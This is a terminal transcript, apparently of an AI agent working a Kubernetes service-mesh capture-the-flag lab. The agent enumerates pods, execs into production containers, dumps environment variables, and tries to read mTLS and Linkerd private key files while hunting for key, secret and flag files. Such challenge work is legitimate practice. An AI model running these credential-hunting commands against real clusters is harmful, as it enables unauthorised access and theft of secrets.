echo "=== DIRECT RECEIVER ==="
curl -s http://10.101.36.19:8080 2>&1
echo "=== DIRECT SUPERSECRET ==="
curl -s http://10.106.216.226:8080 2>&1
echo "=== PROD POD DESCRIBE ==="
kubectl get pods -n production -o yaml 2>&1 | head -80
echo "=== EXEC INTO PROD ==="
kubectl exec -n production receiver-794df886d7-8f427 -c receiver -- ls /tmp/ 2>&1
kubectl exec -n production receiver-794df886d7-8f427 -c receiver -- env 2>&1
kubectl exec -n production receiver-794df886d7-8f427 -c receiver -- cat /etc/mtls/client.key 2>/dev/null 2>&1
kubectl exec -n production receiver-794df886d7-8f427 -c receiver -- find / -name "*.key" -o -name "*.pem" 2>/dev/null 2>&1 | head -20
exit
echo "=== DIRECT BACKEND ==="
curl -s http://10.104.138.143:8080 2>&1
echo "=== DIRECT RECEIVER ==="
curl -s http://10.101.36.19:8080 2>&1
echo "=== DIRECT SUPERSECRET ==="
curl -s http://10.106.216.226:8080 2>&1
echo "=== PROD POD DESCRIBE ==="
kubectl get pods -n production -o yaml 2>&1 | head -80
echo "=== EXEC INTO PROD ==="
kubectl exec -n production receiver-794df886d7-8f427 -c receiver -- ls /tmp/ 2>&1
kubectl exec -n production receiver-794df886d7-8f427 -c receiver -- env 2>&1
kubectl exec -n production receiver-794df886d7-8f427 -c receiver -- cat /etc/mtls/client.key 2>/dev/null 2>&1
kubectl exec -n production receiver-794df886d7-8f427 -c receiver -- find / -name "*.key" -o -name "*.pem" 2>/dev/null 2>&1 | head -20
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== DIRECT BACKEND ==="
[?2004l=== DIRECT BACKEND ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# curl -s http://10.104.138.143:8080 2>&1
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== DIRECT RECEIVER ==="
[?2004l=== DIRECT RECEIVER ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# curl -s http://10.101.36.19:8080 2>&1
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== DIRECT SUPERSECRET ==="
[?2004l=== DIRECT SUPERSECRET ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# curl -s http://10.106.216.226:8080 2>&1
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== PROD POD DESCRIBE ==="
[?2004l=== PROD POD DESCRIBE ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get pods -n production -o yaml 2>&1 | headd -80
[?2004lapiVersion: v1
items:
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: 97b4e92c0318ff3c7228e91e5fa069a705dd2570dc1d87c2ee07b158313f9f9b
      cni.projectcalico.org/podIP: 192.168.84.131/32
      cni.projectcalico.org/podIPs: 192.168.84.131/32
      linkerd.io/created-by: linkerd/proxy-injector edge-26.1.4
      linkerd.io/inject: enabled
      linkerd.io/proxy-version: edge-26.1.4
      linkerd.io/trust-root-sha256: af756ffb119bc701026546117e7e2363a84956e56172abefccca0d099870237b
    creationTimestamp: "2026-03-25T10:50:53Z"
    generateName: receiver-794df886d7-
    generation: 1
    labels:
      app: receiver
      linkerd.io/control-plane-ns: linkerd
      linkerd.io/proxy-deployment: receiver
      linkerd.io/workload-ns: production
      pod-template-hash: 794df886d7
    name: receiver-794df886d7-8f427
    namespace: production
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: receiver-794df886d7
      uid: bf6da333-8239-46d9-b4f9-ffa7f53dc379
    resourceVersion: "1599"
    uid: 9bafd4c5-8fbb-4cb7-9e70-5b175f8e86d9
  spec:
    containers:
    - env:
      - name: _pod_name
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: metadata.name
      - name: _pod_ns
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: metadata.namespace
      - name: _pod_uid
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: metadata.uid
      - name: _pod_ip
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: status.podIP
      - name: _pod_nodeName
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: spec.nodeName
      - name: _pod_containerName
        value: linkerd-proxy
      - name: LINKERD2_PROXY_CORES
        value: "1"
      - name: LINKERD2_PROXY_CORES_MIN
        value: "1"
      - name: LINKERD2_PROXY_SHUTDOWN_ENDPOINT_ENABLED
        value: "false"
      - name: LINKERD2_PROXY_LOG
        value: warn,linkerd=info,hickory=error,[{headers}]=off,[{request}]=off
      - name: LINKERD2_PROXY_LOG_FORMAT
        value: plain
      - name: LINKERD2_PROXY_DESTINATION_SVC_ADDR
        value: linkerd-dst-headless.linkerd.svc.cluster.local.:8086
      - name: LINKERD2_PROXY_DESTINATION_PROFILE_NETWORKS
        value: 10.0.0.0/8,100.64.0.0/10,172.16.0.0/12,192.168.0.0/16,fd00::/8
      - name: LINKERD2_PROXY_POLICY_SVC_ADDR
        value: linkerd-policy.linkerd.svc.cluster.local.:8090
      - name: LINKERD2_PROXY_POLICY_WORKLOAD
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== EXEC INTO PROD ==="
[?2004l=== EXEC INTO PROD ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c receiver -- ls /tmp/ 2>&1
[?2004lError from server (BadRequest): container receiver is not valid for pod receiver-794df886d7-8f427
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c receiver -- env 2>&1
[?2004lError from server (BadRequest): container receiver is not valid for pod receiver-794df886d7-8f427
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c receiver -- cat /etc/mtls/client.key 2>/dev/null 2>&1
[?2004lError from server (BadRequest): container receiver is not valid for pod receiver-794df886d7-8f427
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c receiver -- find / -name "*.key" -o -name "*.pem" 2>/dev/null 2>&1 | head  -20
[?2004lError from server (BadRequest): container receiver is not valid for pod receiver-794df886d7-8f427
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004lexit
Connection to 35.179.133.134 closed.
Thinking
$ Bash
Get container names and check Linkerd proxy certs
ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
echo "=== CONTAINERS ==="
kubectl get pods -n production receiver-794df886d7-8f427 -o jsonpath='{.spec.containers[*].name}' 2>&1
echo ""
echo "=== DEPLOYMENT ==="
kubectl get deployment -n production -o yaml 2>&1 | head -60
echo "=== EXEC LINKERD-PROXY ==="
kubectl exec -n production receiver-794df886d7-8f427 -c linkerd-proxy -- ls -la /var/run/linkerd/ 2>&1
echo "=== LOGS ==="
kubectl logs -n production receiver-794df886d7-8f427 --all-containers 2>&1 | tail -30
exit
SSHEOF
_  _  _  ____  ____  _  _  _   _  _    __         __   ____   __   _  _  _  _  ____  
( \/ \/ )(  __)/ ___)/ )( \(_) (  ( \  / _\  ___  / _\ (  _ \ /  \ / )( \(  ( \(  _ \ 
 )    (   ) _) \___ \) __ ( )( /    / ( (_ \(___)/    \ )   /( () )) \/ (/    / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__)  \__/      \_/\_/(_)\_) \__/ \____/\_)__)(____/

Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)

Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

To begin your heist, knock on the front door of the Envoy Gateway IP

export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP

The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.

Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.

echo "=== CONTAINERS ==="
kubectl get pods -n production receiver-794df886d7-8f427 -o jsonpath='{.spec.containers[*].name}' 2>&1
echo ""
echo "=== DEPLOYMENT ==="
kubectl get deployment -n production -o yaml 2>&1 | head -60
echo "=== EXEC LINKERD-PROXY ==="
kubectl exec -n production receiver-794df886d7-8f427 -c linkerd-proxy -- ls -la /var/run/linkerd/ 2>&1
echo "=== LOGS ==="
kubectl logs -n production receiver-794df886d7-8f427 --all-containers 2>&1 | tail -30
exit
echo "=== CONTAINERS ==="
kubectl get pods -n production receiver-794df886d7-8f427 -o jsonpath='{.spec.containers[*].name}' 2>&1
echo ""
echo "=== DEPLOYMENT ==="
kubectl get deployment -n production -o yaml 2>&1 | head -60
echo "=== EXEC LINKERD-PROXY ==="
kubectl exec -n production receiver-794df886d7-8f427 -c linkerd-proxy -- ls -la /var/run/linkerd/ 2>&1
echo "=== LOGS ==="
kubectl logs -n production receiver-794df886d7-8f427 --all-containers 2>&1 | tail -30
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== CONTAINERS ==="
[?2004l=== CONTAINERS ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get pods -n production receiver-794df886d77-8f427 -o jsonpath='{.spec.containers[*].name}' 2>&1
[?2004llinkerd-proxy python-server debug-tools[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo ""
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== DEPLOYMENT ==="
[?2004l=== DEPLOYMENT ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get deployment -n production -o yaml 2>&1  | head -60
[?2004lapiVersion: v1
items:
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "1"
    creationTimestamp: "2026-03-25T10:50:53Z"
    generation: 1
    labels:
      app: receiver
    name: receiver
    namespace: production
    resourceVersion: "1601"
    uid: 2b9f7288-6f94-42f3-9260-617a21c71022
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app: receiver
    strategy:
      rollingUpdate:
        maxSurge: 25%
        maxUnavailable: 25%
      type: RollingUpdate
    template:
      metadata:
        labels:
          app: receiver
      spec:
        containers:
        - args:
          - |
            import http.server
            import socketserver
            import datetime
            class Handler(http.server.SimpleHTTPRequestHandler):
                def do_GET(self):
                    self.send_response(200)
                    self.end_headers()
                    self.wfile.write(b"Request successfully received.\n")
            print("Listening on 8080...", flush=True)
            with socketserver.TCPServer(("", 8080), Handler) as httpd:
                httpd.serve_forever()
          command:
          - python
          - -c
          image: python:3.14-slim
          imagePullPolicy: IfNotPresent
          name: python-server
          ports:
          - containerPort: 8080
            name: http
            protocol: TCP
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== EXEC LINKERD-PROXY ==="
[?2004l=== EXEC LINKERD-PROXY ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c linkerd-proxy -- ls -la /var/run/linkerd/ 2>&1
[?2004lerror: Internal error occurred: error executing command in container: failed to exec in container: failed to start exec "e6bf52e626d8efec1c446f2ea50c65b3f556cdaae8c9d03feee2b1e90deef7c1": OCI runtime exec failed: exec failed: unable to start container process: exec: "ls": executable file not found in $PATH: unknown
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== LOGS ==="
[?2004l=== LOGS ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl logs -n production receiver-794df886d7-8f4427 --all-containers 2>&1 | tail -30
[?2004ldebconf: falling back to frontend: Noninteractive
Updating certificates in /etc/ssl/certs...
150 added, 0 removed; done.
Setting up dbus (1.16.2-2) ...
invoke-rc.d: could not determine current runlevel
invoke-rc.d: policy-rc.d denied execution of start.
Setting up libp11-kit0:amd64 (0.25.5-3) ...
Setting up libgssapi-krb5-2:amd64 (1.21.3-5) ...
Setting up libgnutls30t64:amd64 (3.8.9-3+deb13u2) ...
Setting up libtirpc3t64:amd64 (1.3.6+ds-1) ...
Setting up iproute2 (6.15.0-1) ...
debconf: unable to initialize frontend: Dialog
debconf: (TERM is not set, so the dialog frontend is not usable.)
debconf: falling back to frontend: Readline
debconf: unable to initialize frontend: Readline
debconf: (Can't locate Term/ReadLine.pm in @INC (you may need to install the Term::ReadLine module) (@INC entries checked: /etc/perl /usr/local/lib/x86_64-linux-gnu/perl/5.40.1 /usr/local/share/perl/5.40.1 /usr/lib/x86_64-linux-gnu/perl5/5.40 /usr/share/perl5 /usr/lib/x86_64-linux-gnu/perl-base /usr/lib/x86_64-linux-gnu/perl/5.40 /usr/share/perl/5.40 /usr/local/lib/site_perl) at /usr/share/perl5/Debconf/FrontEnd/Readline.pm line 8.)
debconf: falling back to frontend: Teletype
debconf: unable to initialize frontend: Teletype
debconf: (This frontend requires a controlling tty.)
debconf: falling back to frontend: Noninteractive
Setting up libpsl5t64:amd64 (0.21.2-1.1+b1) ...
Setting up librtmp1:amd64 (2.4+20151223.gitfa8646d.1-2+b5) ...
Setting up libcurl4t64:amd64 (8.14.1-2+deb13u2) ...
Setting up curl (8.14.1-2+deb13u2) ...
Processing triggers for libc-bin (2.41-12+deb13u2) ...
Processing triggers for ca-certificates (20250419) ...
Updating certificates in /etc/ssl/certs...
0 added, 0 removed; done.
Running hooks in /etc/ca-certificates/update.d...
done.
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004lexit
Connection to 35.179.133.134 closed.
Thinking

There's a debug-tools container in the production pod! Let me exec into it.

$ Bash
Exec into debug-tools container and search for keys
ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
echo "=== DEBUG-TOOLS ENV ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- env 2>&1
echo "=== DEBUG-TOOLS FILES ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- find / -name "*.key" -o -name "*.pem" -o -name "*.crt" -o -name "*flag*" -o -name "*secret*" 2>/dev/null 2>&1 | grep -v proc | grep -v sys | grep -v share | grep -v lib
echo "=== DEBUG-TOOLS HOME ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ls -laR /root/ /home/ /tmp/ /opt/ 2>&1
echo "=== CHECK LINKERD CERTS ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ls -la /var/run/linkerd/ 2>&1
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- cat /var/run/linkerd/identity/end-entity/key.pem 2>&1 | head -5
exit
SSHEOF
_  _  _  ____  ____  _  _  _   _  _    __         __   ____   __   _  _  _  _  ____  
( \/ \/ )(  __)/ ___)/ )( \(_) (  ( \  / _\  ___  / _\ (  _ \ /  \ / )( \(  ( \(  _ \ 
 )    (   ) _) \___ \) __ ( )( /    / ( (_ \(___)/    \ )   /( () )) \/ (/    / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__)  \__/      \_/\_/(_)\_) \__/ \____/\_)__)(____/

Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)

Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

To begin your heist, knock on the front door of the Envoy Gateway IP

export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP

The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.

Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.

echo "=== DEBUG-TOOLS ENV ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- env 2>&1
echo "=== DEBUG-TOOLS FILES ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- find / -name "*.key" -o -name "*.pem" -o -name "*.crt" -o -name "*flag*" -o -name "*secret*" 2>/dev/null 2>&1 | grep -v proc | grep -v sys | grep -v share | grep -v lib
echo "=== DEBUG-TOOLS HOME ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ls -laR /root/ /home/ /tmp/ /opt/ 2>&1
echo "=== CHECK LINKERD CERTS ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ls -la /var/run/linkerd/ 2>&1
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- cat /var/run/linkerd/identity/end-entity/key.pem 2>&1 | head -5
exit
echo "=== DEBUG-TOOLS ENV ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- env 2>&1
echo "=== DEBUG-TOOLS FILES ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- find / -name "*.key" -o -name "*.pem" -o -name "*.crt" -o -name "*flag*" -o -name "*secret*" 2>/dev/null 2>&1 | grep -v proc | grep -v sys | grep -v share | grep -v lib
echo "=== DEBUG-TOOLS HOME ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ls -laR /root/ /home/ /tmp/ /opt/ 2>&1
echo "=== CHECK LINKERD CERTS ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ls -la /var/run/linkerd/ 2>&1
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- cat /var/run/linkerd/identity/end-entity/key.pem 2>&1 | head -5
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== DEBUG-TOOLS ENV ==="
[?2004l=== DEBUG-TOOLS ENV ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- env 2>&1
[?2004lPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=receiver-794df886d7-8f427
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
KUBERNETES_SERVICE_HOST=10.96.0.1
KUBERNETES_SERVICE_PORT=443
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT=tcp://10.96.0.1:443
HOME=/root
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== DEBUG-TOOLS FILES ==="
[?2004l=== DEBUG-TOOLS FILES ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- find / -name "*.key" -o -name "*.pem" -o -name "*.crt" -o --name "*flag*" -o -name "*secret*" 2>/dev/null 2>&1 | grep -v proc | grep -v sys  | grep -v share | grep -v lib
[?2004l/run/secrets
/run/secrets/kubernetes.io/serviceaccount/ca.crt
/run/secrets/kubernetes.io/serviceaccount/..2026_03_25_10_50_53.2951914420/ca.crt
/etc/ssl/certs/CFCA_EV_ROOT.pem
/etc/ssl/certs/OISTE_WISeKey_Global_Root_GB_CA.pem
/etc/ssl/certs/Certigna_Root_CA.pem
/etc/ssl/certs/Certum_EC-384_CA.pem
/etc/ssl/certs/SSL.com_Root_Certification_Authority_ECC.pem
/etc/ssl/certs/Entrust_Root_Certification_Authority_-_EC1.pem
/etc/ssl/certs/Trustwave_Global_ECC_P256_Certification_Authority.pem
/etc/ssl/certs/ISRG_Root_X2.pem
/etc/ssl/certs/Telia_Root_CA_v2.pem
/etc/ssl/certs/BJCA_Global_Root_CA2.pem
/etc/ssl/certs/DigiCert_High_Assurance_EV_Root_CA.pem
/etc/ssl/certs/SecureSign_Root_CA15.pem
/etc/ssl/certs/GlobalSign_ECC_Root_CA_-_R5.pem
/etc/ssl/certs/GTS_Root_R3.pem
/etc/ssl/certs/Entrust_Root_Certification_Authority.pem
/etc/ssl/certs/Hellenic_Academic_and_Research_Institutions_ECC_RootCA_2015.pem
/etc/ssl/certs/Izenpe.com.pem
/etc/ssl/certs/QuoVadis_Root_CA_2.pem
/etc/ssl/certs/GlobalSign_Root_CA_-_R3.pem
/etc/ssl/certs/Telekom_Security_TLS_ECC_Root_2020.pem
/etc/ssl/certs/TWCA_CYBER_Root_CA.pem
/etc/ssl/certs/DigiCert_Global_Root_G2.pem
/etc/ssl/certs/NetLock_Arany_=Class_Gold=_Főtanúsítvány.pem
/etc/ssl/certs/GTS_Root_R4.pem
/etc/ssl/certs/SSL.com_EV_Root_Certification_Authority_RSA_R2.pem
/etc/ssl/certs/D-TRUST_EV_Root_CA_1_2020.pem
/etc/ssl/certs/Atos_TrustedRoot_Root_CA_ECC_TLS_2021.pem
/etc/ssl/certs/GTS_Root_R1.pem
/etc/ssl/certs/Autoridad_de_Certificacion_Firmaprofesional_CIF_A62634068.pem
/etc/ssl/certs/SecureSign_Root_CA14.pem
/etc/ssl/certs/XRamp_Global_CA_Root.pem
/etc/ssl/certs/Baltimore_CyberTrust_Root.pem
/etc/ssl/certs/HiPKI_Root_CA_-_G1.pem
/etc/ssl/certs/DigiCert_Global_Root_CA.pem
/etc/ssl/certs/Buypass_Class_2_Root_CA.pem
/etc/ssl/certs/ca-certificates.crt
/etc/ssl/certs/QuoVadis_Root_CA_1_G3.pem
/etc/ssl/certs/CommScope_Public_Trust_ECC_Root-02.pem
/etc/ssl/certs/Certum_Trusted_Network_CA.pem
/etc/ssl/certs/Atos_TrustedRoot_2011.pem
/etc/ssl/certs/Amazon_Root_CA_4.pem
/etc/ssl/certs/Hongkong_Post_Root_CA_3.pem
/etc/ssl/certs/Secure_Global_CA.pem
/etc/ssl/certs/AffirmTrust_Commercial.pem
/etc/ssl/certs/TrustAsia_Global_Root_CA_G4.pem
/etc/ssl/certs/SSL.com_EV_Root_Certification_Authority_ECC.pem
/etc/ssl/certs/Starfield_Root_Certificate_Authority_-_G2.pem
/etc/ssl/certs/Certainly_Root_E1.pem
/etc/ssl/certs/e-Szigno_Root_CA_2017.pem
/etc/ssl/certs/certSIGN_Root_CA_G2.pem
/etc/ssl/certs/SwissSign_Gold_CA_-_G2.pem
/etc/ssl/certs/emSign_ECC_Root_CA_-_G3.pem
/etc/ssl/certs/DigiCert_Global_Root_G3.pem
/etc/ssl/certs/SSL.com_Root_Certification_Authority_RSA.pem
/etc/ssl/certs/SSL.com_TLS_RSA_Root_CA_2022.pem
/etc/ssl/certs/Entrust_Root_Certification_Authority_-_G2.pem
/etc/ssl/certs/Microsoft_RSA_Root_Certificate_Authority_2017.pem
/etc/ssl/certs/GDCA_TrustAUTH_R5_ROOT.pem
/etc/ssl/certs/SZAFIR_ROOT_CA2.pem
/etc/ssl/certs/UCA_Extended_Validation_Root.pem
/etc/ssl/certs/IdenTrust_Commercial_Root_CA_1.pem
/etc/ssl/certs/GlobalSign_Root_CA_-_R6.pem
/etc/ssl/certs/Entrust.net_Premium_2048_Secure_Server_CA.pem
/etc/ssl/certs/TunTrust_Root_CA.pem
/etc/ssl/certs/Certum_Trusted_Network_CA_2.pem
/etc/ssl/certs/Starfield_Class_2_CA.pem
/etc/ssl/certs/QuoVadis_Root_CA_2_G3.pem
/etc/ssl/certs/Amazon_Root_CA_2.pem
/etc/ssl/certs/ePKI_Root_Certification_Authority.pem
/etc/ssl/certs/certSIGN_ROOT_CA.pem
/etc/ssl/certs/Comodo_AAA_Services_root.pem
/etc/ssl/certs/OISTE_WISeKey_Global_Root_GC_CA.pem
/etc/ssl/certs/Amazon_Root_CA_1.pem
/etc/ssl/certs/GlobalSign_Root_CA.pem
/etc/ssl/certs/DigiCert_Assured_ID_Root_G2.pem
/etc/ssl/certs/AC_RAIZ_FNMT-RCM_SERVIDORES_SEGUROS.pem
/etc/ssl/certs/USERTrust_RSA_Certification_Authority.pem
/etc/ssl/certs/Telekom_Security_TLS_RSA_Root_2023.pem
/etc/ssl/certs/SecureTrust_CA.pem
/etc/ssl/certs/Amazon_Root_CA_3.pem
/etc/ssl/certs/GLOBALTRUST_2020.pem
/etc/ssl/certs/FIRMAPROFESIONAL_CA_ROOT-A_WEB.pem
/etc/ssl/certs/DigiCert_TLS_ECC_P384_Root_G5.pem
/etc/ssl/certs/QuoVadis_Root_CA_3.pem
/etc/ssl/certs/SSL.com_TLS_ECC_Root_CA_2022.pem
/etc/ssl/certs/D-TRUST_EV_Root_CA_2_2023.pem
/etc/ssl/certs/CommScope_Public_Trust_RSA_Root-01.pem
/etc/ssl/certs/Hellenic_Academic_and_Research_Institutions_RootCA_2015.pem
/etc/ssl/certs/HARICA_TLS_RSA_Root_CA_2021.pem
/etc/ssl/certs/CommScope_Public_Trust_ECC_Root-01.pem
/etc/ssl/certs/vTrus_Root_CA.pem
/etc/ssl/certs/QuoVadis_Root_CA_3_G3.pem
/etc/ssl/certs/GlobalSign_Root_E46.pem
/etc/ssl/certs/Buypass_Class_3_Root_CA.pem
/etc/ssl/certs/D-TRUST_Root_Class_3_CA_2_EV_2009.pem
/etc/ssl/certs/AffirmTrust_Networking.pem
/etc/ssl/certs/ACCVRAIZ1.pem
/etc/ssl/certs/BJCA_Global_Root_CA1.pem
/etc/ssl/certs/TWCA_Root_Certification_Authority.pem
/etc/ssl/certs/T-TeleSec_GlobalRoot_Class_3.pem
/etc/ssl/certs/ANF_Secure_Server_Root_CA.pem
/etc/ssl/certs/Certainly_Root_R1.pem
/etc/ssl/certs/Sectigo_Public_Server_Authentication_Root_E46.pem
/etc/ssl/certs/Actalis_Authentication_Root_CA.pem
/etc/ssl/certs/emSign_Root_CA_-_C1.pem
/etc/ssl/certs/emSign_ECC_Root_CA_-_C3.pem
/etc/ssl/certs/Starfield_Services_Root_Certificate_Authority_-_G2.pem
/etc/ssl/certs/Trustwave_Global_ECC_P384_Certification_Authority.pem
/etc/ssl/certs/D-TRUST_BR_Root_CA_2_2023.pem
/etc/ssl/certs/DigiCert_Assured_ID_Root_G3.pem
/etc/ssl/certs/Security_Communication_ECC_RootCA1.pem
/etc/ssl/certs/DigiCert_Assured_ID_Root_CA.pem
